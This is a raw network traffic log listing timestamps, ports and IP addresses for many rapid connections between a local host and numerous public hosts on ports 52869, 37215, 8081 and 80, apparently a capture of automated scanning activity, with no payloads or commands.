Jul 20, 2024 23:10:39.140347958 CEST	51500	8081	192.168.2.15	133.51.42.64
Jul 20, 2024 23:10:39.140383959 CEST	44816	52869	192.168.2.15	125.46.245.158
Jul 20, 2024 23:10:39.141175985 CEST	59866	80	192.168.2.15	88.218.105.251
Jul 20, 2024 23:10:39.141266108 CEST	52869	45158	220.239.248.79	192.168.2.15
Jul 20, 2024 23:10:39.141277075 CEST	37215	54592	197.79.113.139	192.168.2.15
Jul 20, 2024 23:10:39.141315937 CEST	54592	37215	192.168.2.15	197.79.113.139
Jul 20, 2024 23:10:39.141371965 CEST	42866	52869	192.168.2.15	61.53.244.138
Jul 20, 2024 23:10:39.141731024 CEST	41170	37215	192.168.2.15	57.196.110.109
Jul 20, 2024 23:10:39.141765118 CEST	42866	52869	192.168.2.15	61.53.244.138
Jul 20, 2024 23:10:39.141835928 CEST	80	35698	88.239.113.189	192.168.2.15
Jul 20, 2024 23:10:39.141879082 CEST	35698	80	192.168.2.15	88.239.113.189
Jul 20, 2024 23:10:39.142661095 CEST	52869	36298	91.122.92.170	192.168.2.15
Jul 20, 2024 23:10:39.142901897 CEST	38706	8081	192.168.2.15	76.174.89.37
Jul 20, 2024 23:10:39.143285036 CEST	43568	52869	192.168.2.15	61.53.244.138
Jul 20, 2024 23:10:39.144268036 CEST	8081	39350	182.138.162.230	192.168.2.15
Jul 20, 2024 23:10:39.144340038 CEST	39350	8081	192.168.2.15	182.138.162.230
Jul 20, 2024 23:10:39.144793034 CEST	39130	80	192.168.2.15	88.127.160.45
Jul 20, 2024 23:10:39.145039082 CEST	42306	52869	192.168.2.15	72.244.52.162
Jul 20, 2024 23:10:39.145039082 CEST	42306	52869	192.168.2.15	72.244.52.162
Jul 20, 2024 23:10:39.145194054 CEST	52869	37000	91.122.92.170	192.168.2.15
Jul 20, 2024 23:10:39.145265102 CEST	37000	52869	192.168.2.15	91.122.92.170
Jul 20, 2024 23:10:39.145395994 CEST	37364	37215	192.168.2.15	197.14.81.255
Jul 20, 2024 23:10:39.146156073 CEST	43006	52869	192.168.2.15	72.244.52.162
Jul 20, 2024 23:10:39.146339893 CEST	52869	46692	5.162.60.136	192.168.2.15
Jul 20, 2024 23:10:39.146521091 CEST	33214	8081	192.168.2.15	52.121.158.13
Jul 20, 2024 23:10:39.146775961 CEST	80	59866	88.218.105.251	192.168.2.15
Jul 20, 2024 23:10:39.146816969 CEST	52869	42866	61.53.244.138	192.168.2.15
Jul 20, 2024 23:10:39.146826029 CEST	37215	41170	57.196.110.109	192.168.2.15
Jul 20, 2024 23:10:39.146867990 CEST	59866	80	192.168.2.15	88.218.105.251
Jul 20, 2024 23:10:39.146872044 CEST	41170	37215	192.168.2.15	57.196.110.109
Jul 20, 2024 23:10:39.147953987 CEST	43526	80	192.168.2.15	88.127.157.23
Jul 20, 2024 23:10:39.148164988 CEST	8081	38706	76.174.89.37	192.168.2.15
Jul 20, 2024 23:10:39.148190975 CEST	60590	52869	192.168.2.15	166.78.169.15
Jul 20, 2024 23:10:39.148241043 CEST	38706	8081	192.168.2.15	76.174.89.37
Jul 20, 2024 23:10:39.148242950 CEST	52869	43568	61.53.244.138	192.168.2.15
Jul 20, 2024 23:10:39.148281097 CEST	60590	52869	192.168.2.15	166.78.169.15
Jul 20, 2024 23:10:39.148502111 CEST	43568	52869	192.168.2.15	61.53.244.138
Jul 20, 2024 23:10:39.149249077 CEST	52869	32838	220.55.101.199	192.168.2.15
Jul 20, 2024 23:10:39.149257898 CEST	52869	41758	89.171.240.248	192.168.2.15
Jul 20, 2024 23:10:39.150058985 CEST	59254	37215	192.168.2.15	197.143.76.23
Jul 20, 2024 23:10:39.150157928 CEST	80	39130	88.127.160.45	192.168.2.15
Jul 20, 2024 23:10:39.150228024 CEST	39130	80	192.168.2.15	88.127.160.45
Jul 20, 2024 23:10:39.150410891 CEST	52869	42306	72.244.52.162	192.168.2.15
Jul 20, 2024 23:10:39.150847912 CEST	33060	52869	192.168.2.15	166.78.169.15
Jul 20, 2024 23:10:39.151366949 CEST	37215	37364	197.14.81.255	192.168.2.15
Jul 20, 2024 23:10:39.151388884 CEST	52869	43006	72.244.52.162	192.168.2.15
Jul 20, 2024 23:10:39.151405096 CEST	37364	37215	192.168.2.15	197.14.81.255
Jul 20, 2024 23:10:39.151422024 CEST	43006	52869	192.168.2.15	72.244.52.162
Jul 20, 2024 23:10:39.151578903 CEST	36112	8081	192.168.2.15	76.56.5.73
Jul 20, 2024 23:10:39.151854038 CEST	8081	33214	52.121.158.13	192.168.2.15
Jul 20, 2024 23:10:39.151902914 CEST	33214	8081	192.168.2.15	52.121.158.13
Jul 20, 2024 23:10:39.152786970 CEST	53082	80	192.168.2.15	88.195.247.87
Jul 20, 2024 23:10:39.152961016 CEST	55874	52869	192.168.2.15	134.192.167.73
Jul 20, 2024 23:10:39.152961969 CEST	55874	52869	192.168.2.15	134.192.167.73
Jul 20, 2024 23:10:39.153548002 CEST	80	43526	88.127.157.23	192.168.2.15
Jul 20, 2024 23:10:39.153604031 CEST	43526	80	192.168.2.15	88.127.157.23
Jul 20, 2024 23:10:39.153609991 CEST	52869	60590	166.78.169.15	192.168.2.15
Jul 20, 2024 23:10:39.153934956 CEST	56574	52869	192.168.2.15	134.192.167.73
Jul 20, 2024 23:10:39.154221058 CEST	56992	37215	192.168.2.15	41.242.148.168
Jul 20, 2024 23:10:39.155311108 CEST	37215	59254	197.143.76.23	192.168.2.15
Jul 20, 2024 23:10:39.155383110 CEST	59254	37215	192.168.2.15	197.143.76.23
Jul 20, 2024 23:10:39.155383110 CEST	51470	8081	192.168.2.15	220.85.17.7
Jul 20, 2024 23:10:39.155603886 CEST	36662	80	192.168.2.15	88.186.30.114
Jul 20, 2024 23:10:39.155870914 CEST	47922	52869	192.168.2.15	73.163.96.192
Jul 20, 2024 23:10:39.155870914 CEST	47922	52869	192.168.2.15	73.163.96.192
Jul 20, 2024 23:10:39.156470060 CEST	52869	33060	166.78.169.15	192.168.2.15
Jul 20, 2024 23:10:39.156527042 CEST	33060	52869	192.168.2.15	166.78.169.15
Jul 20, 2024 23:10:39.157226086 CEST	52869	60776	61.146.90.23	192.168.2.15
Jul 20, 2024 23:10:39.157299995 CEST	8081	36112	76.56.5.73	192.168.2.15
Jul 20, 2024 23:10:39.157461882 CEST	36112	8081	192.168.2.15	76.56.5.73
Jul 20, 2024 23:10:39.157896042 CEST	80	53082	88.195.247.87	192.168.2.15
Jul 20, 2024 23:10:39.158041000 CEST	53082	80	192.168.2.15	88.195.247.87
Jul 20, 2024 23:10:39.158210993 CEST	48622	52869	192.168.2.15	73.163.96.192
Jul 20, 2024 23:10:39.158441067 CEST	55246	37215	192.168.2.15	197.55.78.55
Jul 20, 2024 23:10:39.158521891 CEST	52869	55874	134.192.167.73	192.168.2.15
Jul 20, 2024 23:10:39.159641027 CEST	51326	8081	192.168.2.15	151.248.207.192
Jul 20, 2024 23:10:39.159723997 CEST	48876	80	192.168.2.15	88.215.4.32
Jul 20, 2024 23:10:39.160043955 CEST	43136	52869	192.168.2.15	204.13.73.202
Jul 20, 2024 23:10:39.160043955 CEST	43136	52869	192.168.2.15	204.13.73.202
Jul 20, 2024 23:10:39.160373926 CEST	52869	56574	134.192.167.73	192.168.2.15
Jul 20, 2024 23:10:39.160443068 CEST	56574	52869	192.168.2.15	134.192.167.73
Jul 20, 2024 23:10:39.160770893 CEST	37215	56992	41.242.148.168	192.168.2.15
Jul 20, 2024 23:10:39.160816908 CEST	56992	37215	192.168.2.15	41.242.148.168
Jul 20, 2024 23:10:39.160974026 CEST	8081	51470	220.85.17.7	192.168.2.15
Jul 20, 2024 23:10:39.161020041 CEST	51470	8081	192.168.2.15	220.85.17.7
Jul 20, 2024 23:10:39.161021948 CEST	80	36662	88.186.30.114	192.168.2.15
Jul 20, 2024 23:10:39.161050081 CEST	52869	47922	73.163.96.192	192.168.2.15
Jul 20, 2024 23:10:39.161159039 CEST	36662	80	192.168.2.15	88.186.30.114
Jul 20, 2024 23:10:39.161231041 CEST	43836	52869	192.168.2.15	204.13.73.202
Jul 20, 2024 23:10:39.161293030 CEST	52869	58256	24.231.54.99	192.168.2.15
Jul 20, 2024 23:10:39.161320925 CEST	52869	52890	155.186.2.88	192.168.2.15
Jul 20, 2024 23:10:39.161509991 CEST	35152	37215	192.168.2.15	41.244.25.122
Jul 20, 2024 23:10:39.162722111 CEST	41496	80	192.168.2.15	88.183.185.95
Jul 20, 2024 23:10:39.162925005 CEST	60444	52869	192.168.2.15	23.180.240.118
Jul 20, 2024 23:10:39.162925005 CEST	60444	52869	192.168.2.15	23.180.240.118
Jul 20, 2024 23:10:39.163261890 CEST	52964	8081	192.168.2.15	102.109.43.7
Jul 20, 2024 23:10:39.163757086 CEST	52869	48622	73.163.96.192	192.168.2.15
Jul 20, 2024 23:10:39.163788080 CEST	37215	55246	197.55.78.55	192.168.2.15
Jul 20, 2024 23:10:39.163801908 CEST	48622	52869	192.168.2.15	73.163.96.192
Jul 20, 2024 23:10:39.163819075 CEST	55246	37215	192.168.2.15	197.55.78.55
Jul 20, 2024 23:10:39.164170027 CEST	32912	52869	192.168.2.15	23.180.240.118
Jul 20, 2024 23:10:39.164674044 CEST	39504	37215	192.168.2.15	41.52.21.44
Jul 20, 2024 23:10:39.165096045 CEST	8081	51326	151.248.207.192	192.168.2.15
Jul 20, 2024 23:10:39.165141106 CEST	51326	8081	192.168.2.15	151.248.207.192
Jul 20, 2024 23:10:39.165163040 CEST	80	48876	88.215.4.32	192.168.2.15
Jul 20, 2024 23:10:39.165204048 CEST	48876	80	192.168.2.15	88.215.4.32
Jul 20, 2024 23:10:39.165570021 CEST	52869	43136	204.13.73.202	192.168.2.15
Jul 20, 2024 23:10:39.165888071 CEST	39898	80	192.168.2.15	88.245.234.158
Jul 20, 2024 23:10:39.166048050 CEST	51080	52869	192.168.2.15	85.126.23.91
Jul 20, 2024 23:10:39.166048050 CEST	51080	52869	192.168.2.15	85.126.23.91
Jul 20, 2024 23:10:39.166412115 CEST	57896	8081	192.168.2.15	1.192.176.226
Jul 20, 2024 23:10:39.166773081 CEST	51780	52869	192.168.2.15	85.126.23.91
Jul 20, 2024 23:10:39.167104006 CEST	52869	43836	204.13.73.202	192.168.2.15
Jul 20, 2024 23:10:39.167133093 CEST	37215	35152	41.244.25.122	192.168.2.15
Jul 20, 2024 23:10:39.167154074 CEST	43836	52869	192.168.2.15	204.13.73.202
Jul 20, 2024 23:10:39.167170048 CEST	35152	37215	192.168.2.15	41.244.25.122
Jul 20, 2024 23:10:39.167648077 CEST	55676	37215	192.168.2.15	157.222.177.45
Jul 20, 2024 23:10:39.168031931 CEST	80	41496	88.183.185.95	192.168.2.15
Jul 20, 2024 23:10:39.168049097 CEST	51686	80	192.168.2.15	88.56.31.169
Jul 20, 2024 23:10:39.168210030 CEST	38544	52869	192.168.2.15	191.96.230.47
Jul 20, 2024 23:10:39.168210030 CEST	38544	52869	192.168.2.15	191.96.230.47
Jul 20, 2024 23:10:39.168271065 CEST	41496	80	192.168.2.15	88.183.185.95
Jul 20, 2024 23:10:39.168531895 CEST	52869	60444	23.180.240.118	192.168.2.15
Jul 20, 2024 23:10:39.168761015 CEST	8081	52964	102.109.43.7	192.168.2.15
Jul 20, 2024 23:10:39.168812990 CEST	52964	8081	192.168.2.15	102.109.43.7
Jul 20, 2024 23:10:39.169219017 CEST	52869	48566	65.58.210.176	192.168.2.15
Jul 20, 2024 23:10:39.169485092 CEST	42372	8081	192.168.2.15	217.134.215.166
Jul 20, 2024 23:10:39.169692039 CEST	52869	32912	23.180.240.118	192.168.2.15
Jul 20, 2024 23:10:39.169723034 CEST	39244	52869	192.168.2.15	191.96.230.47
Jul 20, 2024 23:10:39.169750929 CEST	32912	52869	192.168.2.15	23.180.240.118
Jul 20, 2024 23:10:39.169900894 CEST	37215	39504	41.52.21.44	192.168.2.15
Jul 20, 2024 23:10:39.169941902 CEST	39504	37215	192.168.2.15	41.52.21.44
Jul 20, 2024 23:10:39.170939922 CEST	47548	37215	192.168.2.15	41.1.217.148
Jul 20, 2024 23:10:39.171194077 CEST	41422	80	192.168.2.15	88.29.85.62
Jul 20, 2024 23:10:39.171287060 CEST	80	39898	88.245.234.158	192.168.2.15
Jul 20, 2024 23:10:39.171350002 CEST	36118	52869	192.168.2.15	197.208.47.186
Jul 20, 2024 23:10:39.171355963 CEST	39898	80	192.168.2.15	88.245.234.158
Jul 20, 2024 23:10:39.171618938 CEST	36118	52869	192.168.2.15	197.208.47.186
Jul 20, 2024 23:10:39.171649933 CEST	52869	51080	85.126.23.91	192.168.2.15
Jul 20, 2024 23:10:39.172175884 CEST	36816	52869	192.168.2.15	197.208.47.186
Jul 20, 2024 23:10:39.172379017 CEST	8081	57896	1.192.176.226	192.168.2.15
Jul 20, 2024 23:10:39.172427893 CEST	57896	8081	192.168.2.15	1.192.176.226
Jul 20, 2024 23:10:39.172489882 CEST	49052	8081	192.168.2.15	221.249.213.24
Jul 20, 2024 23:10:39.172600031 CEST	52869	51780	85.126.23.91	192.168.2.15
Jul 20, 2024 23:10:39.172624111 CEST	37215	55676	157.222.177.45	192.168.2.15
Jul 20, 2024 23:10:39.172646046 CEST	51780	52869	192.168.2.15	85.126.23.91
Jul 20, 2024 23:10:39.172669888 CEST	55676	37215	192.168.2.15	157.222.177.45
Jul 20, 2024 23:10:39.173374891 CEST	52869	38068	17.96.206.10	192.168.2.15
Jul 20, 2024 23:10:39.173428059 CEST	80	51686	88.56.31.169	192.168.2.15
Jul 20, 2024 23:10:39.173485041 CEST	51686	80	192.168.2.15	88.56.31.169
Jul 20, 2024 23:10:39.173485994 CEST	52869	38544	191.96.230.47	192.168.2.15
Jul 20, 2024 23:10:39.173554897 CEST	51798	80	192.168.2.15	88.170.138.250
Jul 20, 2024 23:10:39.173717976 CEST	35130	52869	192.168.2.15	32.169.224.65
Jul 20, 2024 23:10:39.173914909 CEST	33952	37215	192.168.2.15	184.222.40.221
Jul 20, 2024 23:10:39.174329042 CEST	35130	52869	192.168.2.15	32.169.224.65
Jul 20, 2024 23:10:39.175607920 CEST	35830	52869	192.168.2.15	32.169.224.65
Jul 20, 2024 23:10:39.175844908 CEST	8081	42372	217.134.215.166	192.168.2.15
Jul 20, 2024 23:10:39.175890923 CEST	42372	8081	192.168.2.15	217.134.215.166
Jul 20, 2024 23:10:39.175915956 CEST	52869	39244	191.96.230.47	192.168.2.15
Jul 20, 2024 23:10:39.176043034 CEST	39244	52869	192.168.2.15	191.96.230.47
Jul 20, 2024 23:10:39.176337004 CEST	37978	8081	192.168.2.15	124.101.153.157
Jul 20, 2024 23:10:39.177038908 CEST	37215	47548	41.1.217.148	192.168.2.15
Jul 20, 2024 23:10:39.177074909 CEST	80	41422	88.29.85.62	192.168.2.15
Jul 20, 2024 23:10:39.177124023 CEST	41422	80	192.168.2.15	88.29.85.62
Jul 20, 2024 23:10:39.177130938 CEST	47548	37215	192.168.2.15	41.1.217.148
Jul 20, 2024 23:10:39.177349091 CEST	52869	36118	197.208.47.186	192.168.2.15
Jul 20, 2024 23:10:39.177370071 CEST	46698	80	192.168.2.15	88.192.186.194
Jul 20, 2024 23:10:39.177562952 CEST	52869	36816	197.208.47.186	192.168.2.15
Jul 20, 2024 23:10:39.177644014 CEST	38954	52869	192.168.2.15	208.102.27.6
Jul 20, 2024 23:10:39.177644014 CEST	36816	52869	192.168.2.15	197.208.47.186
Jul 20, 2024 23:10:39.177644014 CEST	38954	52869	192.168.2.15	208.102.27.6
Jul 20, 2024 23:10:39.178397894 CEST	34812	37215	192.168.2.15	197.167.93.130
Jul 20, 2024 23:10:39.178600073 CEST	8081	49052	221.249.213.24	192.168.2.15
Jul 20, 2024 23:10:39.178649902 CEST	49052	8081	192.168.2.15	221.249.213.24
Jul 20, 2024 23:10:39.179007053 CEST	39654	52869	192.168.2.15	208.102.27.6
Jul 20, 2024 23:10:39.179219007 CEST	80	51798	88.170.138.250	192.168.2.15
Jul 20, 2024 23:10:39.179287910 CEST	51798	80	192.168.2.15	88.170.138.250
Jul 20, 2024 23:10:39.179636002 CEST	37215	33952	184.222.40.221	192.168.2.15
Jul 20, 2024 23:10:39.179671049 CEST	33952	37215	192.168.2.15	184.222.40.221
Jul 20, 2024 23:10:39.179832935 CEST	52869	35130	32.169.224.65	192.168.2.15
Jul 20, 2024 23:10:39.180840015 CEST	52869	35830	32.169.224.65	192.168.2.15
Jul 20, 2024 23:10:39.180838108 CEST	53418	8081	192.168.2.15	20.18.13.70
Jul 20, 2024 23:10:39.180880070 CEST	35830	52869	192.168.2.15	32.169.224.65
Jul 20, 2024 23:10:39.181086063 CEST	51368	80	192.168.2.15	88.234.76.31
Jul 20, 2024 23:10:39.181212902 CEST	52869	40840	212.22.178.123	192.168.2.15
Jul 20, 2024 23:10:39.181229115 CEST	52869	38250	131.159.98.164	192.168.2.15
Jul 20, 2024 23:10:39.181252956 CEST	52869	44114	125.46.245.158	192.168.2.15
Jul 20, 2024 23:10:39.181279898 CEST	41986	52869	192.168.2.15	102.119.6.178
Jul 20, 2024 23:10:39.181279898 CEST	41986	52869	192.168.2.15	102.119.6.178
Jul 20, 2024 23:10:39.182116985 CEST	8081	37978	124.101.153.157	192.168.2.15
Jul 20, 2024 23:10:39.182157040 CEST	37978	8081	192.168.2.15	124.101.153.157
Jul 20, 2024 23:10:39.182889938 CEST	58290	37215	192.168.2.15	4.49.242.168
Jul 20, 2024 23:10:39.183146954 CEST	80	46698	88.192.186.194	192.168.2.15
Jul 20, 2024 23:10:39.183187962 CEST	46698	80	192.168.2.15	88.192.186.194
Jul 20, 2024 23:10:39.183247089 CEST	52869	38954	208.102.27.6	192.168.2.15
Jul 20, 2024 23:10:39.183651924 CEST	42686	52869	192.168.2.15	102.119.6.178
Jul 20, 2024 23:10:39.183784008 CEST	37215	34812	197.167.93.130	192.168.2.15
Jul 20, 2024 23:10:39.183893919 CEST	34812	37215	192.168.2.15	197.167.93.130
Jul 20, 2024 23:10:39.184952974 CEST	36512	8081	192.168.2.15	138.82.251.248
Jul 20, 2024 23:10:39.185040951 CEST	52888	80	192.168.2.15	88.195.216.232
Jul 20, 2024 23:10:39.185538054 CEST	46572	52869	192.168.2.15	77.64.253.97
Jul 20, 2024 23:10:39.185538054 CEST	46572	52869	192.168.2.15	77.64.253.97
Jul 20, 2024 23:10:39.185548067 CEST	52869	39654	208.102.27.6	192.168.2.15
Jul 20, 2024 23:10:39.185585022 CEST	39654	52869	192.168.2.15	208.102.27.6
Jul 20, 2024 23:10:39.185729980 CEST	52869	36298	91.122.92.170	192.168.2.15
Jul 20, 2024 23:10:39.186044931 CEST	8081	53418	20.18.13.70	192.168.2.15
Jul 20, 2024 23:10:39.186088085 CEST	53418	8081	192.168.2.15	20.18.13.70
Jul 20, 2024 23:10:39.186399937 CEST	47270	52869	192.168.2.15	77.64.253.97
Jul 20, 2024 23:10:39.186507940 CEST	80	51368	88.234.76.31	192.168.2.15
Jul 20, 2024 23:10:39.186563969 CEST	51542	37215	192.168.2.15	197.210.73.76
Jul 20, 2024 23:10:39.186563969 CEST	51368	80	192.168.2.15	88.234.76.31
Jul 20, 2024 23:10:39.186847925 CEST	52869	41986	102.119.6.178	192.168.2.15
Jul 20, 2024 23:10:39.187412977 CEST	51360	80	192.168.2.15	88.85.81.31
Jul 20, 2024 23:10:39.187583923 CEST	48776	52869	192.168.2.15	134.116.6.133
Jul 20, 2024 23:10:39.187585115 CEST	48776	52869	192.168.2.15	134.116.6.133
Jul 20, 2024 23:10:39.188358068 CEST	37215	58290	4.49.242.168	192.168.2.15
Jul 20, 2024 23:10:39.188409090 CEST	58290	37215	192.168.2.15	4.49.242.168
Jul 20, 2024 23:10:39.188832998 CEST	52869	42686	102.119.6.178	192.168.2.15
Jul 20, 2024 23:10:39.188873053 CEST	42686	52869	192.168.2.15	102.119.6.178
Jul 20, 2024 23:10:39.188891888 CEST	49472	52869	192.168.2.15	134.116.6.133
Jul 20, 2024 23:10:39.189116001 CEST	40404	37215	192.168.2.15	197.55.86.176
Jul 20, 2024 23:10:39.189451933 CEST	52869	42866	61.53.244.138	192.168.2.15
Jul 20, 2024 23:10:39.189794064 CEST	36276	80	192.168.2.15	88.35.202.137
Jul 20, 2024 23:10:39.190217018 CEST	40426	52869	192.168.2.15	143.77.32.144
Jul 20, 2024 23:10:39.190217018 CEST	40426	52869	192.168.2.15	143.77.32.144
Jul 20, 2024 23:10:39.190329075 CEST	8081	36512	138.82.251.248	192.168.2.15
Jul 20, 2024 23:10:39.190361023 CEST	80	52888	88.195.216.232	192.168.2.15
Jul 20, 2024 23:10:39.190373898 CEST	36512	8081	192.168.2.15	138.82.251.248
Jul 20, 2024 23:10:39.190402985 CEST	52888	80	192.168.2.15	88.195.216.232
Jul 20, 2024 23:10:39.190782070 CEST	52869	46572	77.64.253.97	192.168.2.15
Jul 20, 2024 23:10:39.191174030 CEST	41120	52869	192.168.2.15	143.77.32.144
Jul 20, 2024 23:10:39.191390991 CEST	56706	37215	192.168.2.15	157.42.101.14
Jul 20, 2024 23:10:39.192312002 CEST	48626	80	192.168.2.15	88.102.219.53
Jul 20, 2024 23:10:39.192692041 CEST	53962	52869	192.168.2.15	189.107.255.223
Jul 20, 2024 23:10:39.192692041 CEST	53962	52869	192.168.2.15	189.107.255.223
Jul 20, 2024 23:10:39.192734003 CEST	52869	47270	77.64.253.97	192.168.2.15
Jul 20, 2024 23:10:39.192749023 CEST	37215	51542	197.210.73.76	192.168.2.15
Jul 20, 2024 23:10:39.192828894 CEST	80	51360	88.85.81.31	192.168.2.15
Jul 20, 2024 23:10:39.192847013 CEST	51542	37215	192.168.2.15	197.210.73.76
Jul 20, 2024 23:10:39.192871094 CEST	51360	80	192.168.2.15	88.85.81.31
Jul 20, 2024 23:10:39.192899942 CEST	47270	52869	192.168.2.15	77.64.253.97
Jul 20, 2024 23:10:39.193048954 CEST	52869	48776	134.116.6.133	192.168.2.15
Jul 20, 2024 23:10:39.193754911 CEST	54654	52869	192.168.2.15	189.107.255.223
Jul 20, 2024 23:10:39.194031954 CEST	56498	37215	192.168.2.15	205.121.31.87
Jul 20, 2024 23:10:39.195040941 CEST	52869	49472	134.116.6.133	192.168.2.15
Jul 20, 2024 23:10:39.195085049 CEST	37215	40404	197.55.86.176	192.168.2.15
Jul 20, 2024 23:10:39.195089102 CEST	49472	52869	192.168.2.15	134.116.6.133
Jul 20, 2024 23:10:39.195132971 CEST	80	36276	88.35.202.137	192.168.2.15
Jul 20, 2024 23:10:39.195142984 CEST	40404	37215	192.168.2.15	197.55.86.176
Jul 20, 2024 23:10:39.195168972 CEST	36276	80	192.168.2.15	88.35.202.137
Jul 20, 2024 23:10:39.195334911 CEST	52869	40426	143.77.32.144	192.168.2.15
Jul 20, 2024 23:10:39.195903063 CEST	38146	80	192.168.2.15	88.104.67.176
Jul 20, 2024 23:10:39.196094990 CEST	34640	52869	192.168.2.15	211.42.169.91
Jul 20, 2024 23:10:39.196094990 CEST	34640	52869	192.168.2.15	211.42.169.91
Jul 20, 2024 23:10:39.196583033 CEST	52869	41120	143.77.32.144	192.168.2.15
Jul 20, 2024 23:10:39.196597099 CEST	37215	56706	157.42.101.14	192.168.2.15
Jul 20, 2024 23:10:39.196621895 CEST	41120	52869	192.168.2.15	143.77.32.144
Jul 20, 2024 23:10:39.196652889 CEST	56706	37215	192.168.2.15	157.42.101.14
Jul 20, 2024 23:10:39.197182894 CEST	52869	42306	72.244.52.162	192.168.2.15
Jul 20, 2024 23:10:39.197208881 CEST	35330	52869	192.168.2.15	211.42.169.91
Jul 20, 2024 23:10:39.197243929 CEST	52869	60590	166.78.169.15	192.168.2.15
Jul 20, 2024 23:10:39.197684050 CEST	55852	37215	192.168.2.15	41.246.170.171
Jul 20, 2024 23:10:39.197772026 CEST	80	48626	88.102.219.53	192.168.2.15
Jul 20, 2024 23:10:39.197813988 CEST	52869	53962	189.107.255.223	192.168.2.15
Jul 20, 2024 23:10:39.197814941 CEST	48626	80	192.168.2.15	88.102.219.53
Jul 20, 2024 23:10:39.198529959 CEST	32792	80	192.168.2.15	88.7.21.120
Jul 20, 2024 23:10:39.198684931 CEST	52869	54654	189.107.255.223	192.168.2.15
Jul 20, 2024 23:10:39.198702097 CEST	38462	52869	192.168.2.15	37.21.17.204
Jul 20, 2024 23:10:39.198702097 CEST	38462	52869	192.168.2.15	37.21.17.204
Jul 20, 2024 23:10:39.198736906 CEST	54654	52869	192.168.2.15	189.107.255.223
Jul 20, 2024 23:10:39.199594975 CEST	37215	56498	205.121.31.87	192.168.2.15
Jul 20, 2024 23:10:39.199695110 CEST	56498	37215	192.168.2.15	205.121.31.87
Jul 20, 2024 23:10:39.200716019 CEST	39152	52869	192.168.2.15	37.21.17.204
Jul 20, 2024 23:10:39.200980902 CEST	54880	37215	192.168.2.15	41.160.200.207
Jul 20, 2024 23:10:39.201436996 CEST	80	38146	88.104.67.176	192.168.2.15
Jul 20, 2024 23:10:39.201467991 CEST	52869	34640	211.42.169.91	192.168.2.15
Jul 20, 2024 23:10:39.201489925 CEST	38146	80	192.168.2.15	88.104.67.176
Jul 20, 2024 23:10:39.202054024 CEST	45620	80	192.168.2.15	88.50.60.166
Jul 20, 2024 23:10:39.202222109 CEST	41184	52869	192.168.2.15	67.65.153.119
Jul 20, 2024 23:10:39.202222109 CEST	41184	52869	192.168.2.15	67.65.153.119
Jul 20, 2024 23:10:39.202846050 CEST	52869	35330	211.42.169.91	192.168.2.15
Jul 20, 2024 23:10:39.202910900 CEST	35330	52869	192.168.2.15	211.42.169.91
Jul 20, 2024 23:10:39.202951908 CEST	37215	55852	41.246.170.171	192.168.2.15
Jul 20, 2024 23:10:39.203012943 CEST	55852	37215	192.168.2.15	41.246.170.171
Jul 20, 2024 23:10:39.203434944 CEST	41872	52869	192.168.2.15	67.65.153.119
Jul 20, 2024 23:10:39.203718901 CEST	33622	8081	192.168.2.15	44.42.9.48
Jul 20, 2024 23:10:39.203890085 CEST	36400	37215	192.168.2.15	197.37.162.85
Jul 20, 2024 23:10:39.204293966 CEST	80	32792	88.7.21.120	192.168.2.15
Jul 20, 2024 23:10:39.204308033 CEST	52869	38462	37.21.17.204	192.168.2.15
Jul 20, 2024 23:10:39.204353094 CEST	32792	80	192.168.2.15	88.7.21.120
Jul 20, 2024 23:10:39.205041885 CEST	57976	80	192.168.2.15	88.5.185.118
Jul 20, 2024 23:10:39.205178022 CEST	52869	47922	73.163.96.192	192.168.2.15
Jul 20, 2024 23:10:39.205184937 CEST	39438	52869	192.168.2.15	108.128.208.18
Jul 20, 2024 23:10:39.205192089 CEST	52869	55874	134.192.167.73	192.168.2.15
Jul 20, 2024 23:10:39.205701113 CEST	39438	52869	192.168.2.15	108.128.208.18
Jul 20, 2024 23:10:39.205707073 CEST	52869	39152	37.21.17.204	192.168.2.15
Jul 20, 2024 23:10:39.205754042 CEST	39152	52869	192.168.2.15	37.21.17.204
Jul 20, 2024 23:10:39.206407070 CEST	58768	8081	192.168.2.15	114.245.174.75
Jul 20, 2024 23:10:39.206409931 CEST	58768	8081	192.168.2.15	220.181.161.245
Jul 20, 2024 23:10:39.206409931 CEST	58768	8081	192.168.2.15	49.120.198.129
Jul 20, 2024 23:10:39.206418037 CEST	58768	8081	192.168.2.15	204.78.89.216
Jul 20, 2024 23:10:39.206418991 CEST	58768	8081	192.168.2.15	85.18.159.112
Jul 20, 2024 23:10:39.206423044 CEST	58768	8081	192.168.2.15	54.209.77.50
Jul 20, 2024 23:10:39.206429958 CEST	58768	8081	192.168.2.15	142.24.97.125
Jul 20, 2024 23:10:39.206466913 CEST	58768	8081	192.168.2.15	170.228.217.76
Jul 20, 2024 23:10:39.206491947 CEST	58768	8081	192.168.2.15	80.97.7.64
Jul 20, 2024 23:10:39.206593037 CEST	58768	8081	192.168.2.15	8.112.162.4
Jul 20, 2024 23:10:39.206593037 CEST	58768	8081	192.168.2.15	45.72.32.96
Jul 20, 2024 23:10:39.206836939 CEST	58768	8081	192.168.2.15	120.183.122.12
Jul 20, 2024 23:10:39.206837893 CEST	58768	8081	192.168.2.15	191.227.67.230
Jul 20, 2024 23:10:39.206837893 CEST	58768	8081	192.168.2.15	216.154.234.35
Jul 20, 2024 23:10:39.206837893 CEST	58768	8081	192.168.2.15	194.120.113.11
Jul 20, 2024 23:10:39.206837893 CEST	58768	8081	192.168.2.15	112.198.235.11
Jul 20, 2024 23:10:39.207072973 CEST	58768	8081	192.168.2.15	119.166.242.218
Jul 20, 2024 23:10:39.207072973 CEST	58768	8081	192.168.2.15	50.108.60.245
Jul 20, 2024 23:10:39.207072973 CEST	58768	8081	192.168.2.15	111.218.64.251
Jul 20, 2024 23:10:39.207072973 CEST	58768	8081	192.168.2.15	34.85.91.68
Jul 20, 2024 23:10:39.207072973 CEST	58768	8081	192.168.2.15	73.249.125.177
Jul 20, 2024 23:10:39.207072973 CEST	58768	8081	192.168.2.15	143.227.33.242
Jul 20, 2024 23:10:39.207072973 CEST	58768	8081	192.168.2.15	175.233.252.99
Jul 20, 2024 23:10:39.207072973 CEST	58768	8081	192.168.2.15	17.124.213.182
Jul 20, 2024 23:10:39.207098007 CEST	37215	54880	41.160.200.207	192.168.2.15
Jul 20, 2024 23:10:39.207670927 CEST	58768	8081	192.168.2.15	37.184.101.252
Jul 20, 2024 23:10:39.207672119 CEST	58768	8081	192.168.2.15	139.220.168.61
Jul 20, 2024 23:10:39.207672119 CEST	58768	8081	192.168.2.15	146.57.189.179
Jul 20, 2024 23:10:39.207672119 CEST	58768	8081	192.168.2.15	134.120.231.164
Jul 20, 2024 23:10:39.207672119 CEST	58768	8081	192.168.2.15	140.27.22.191
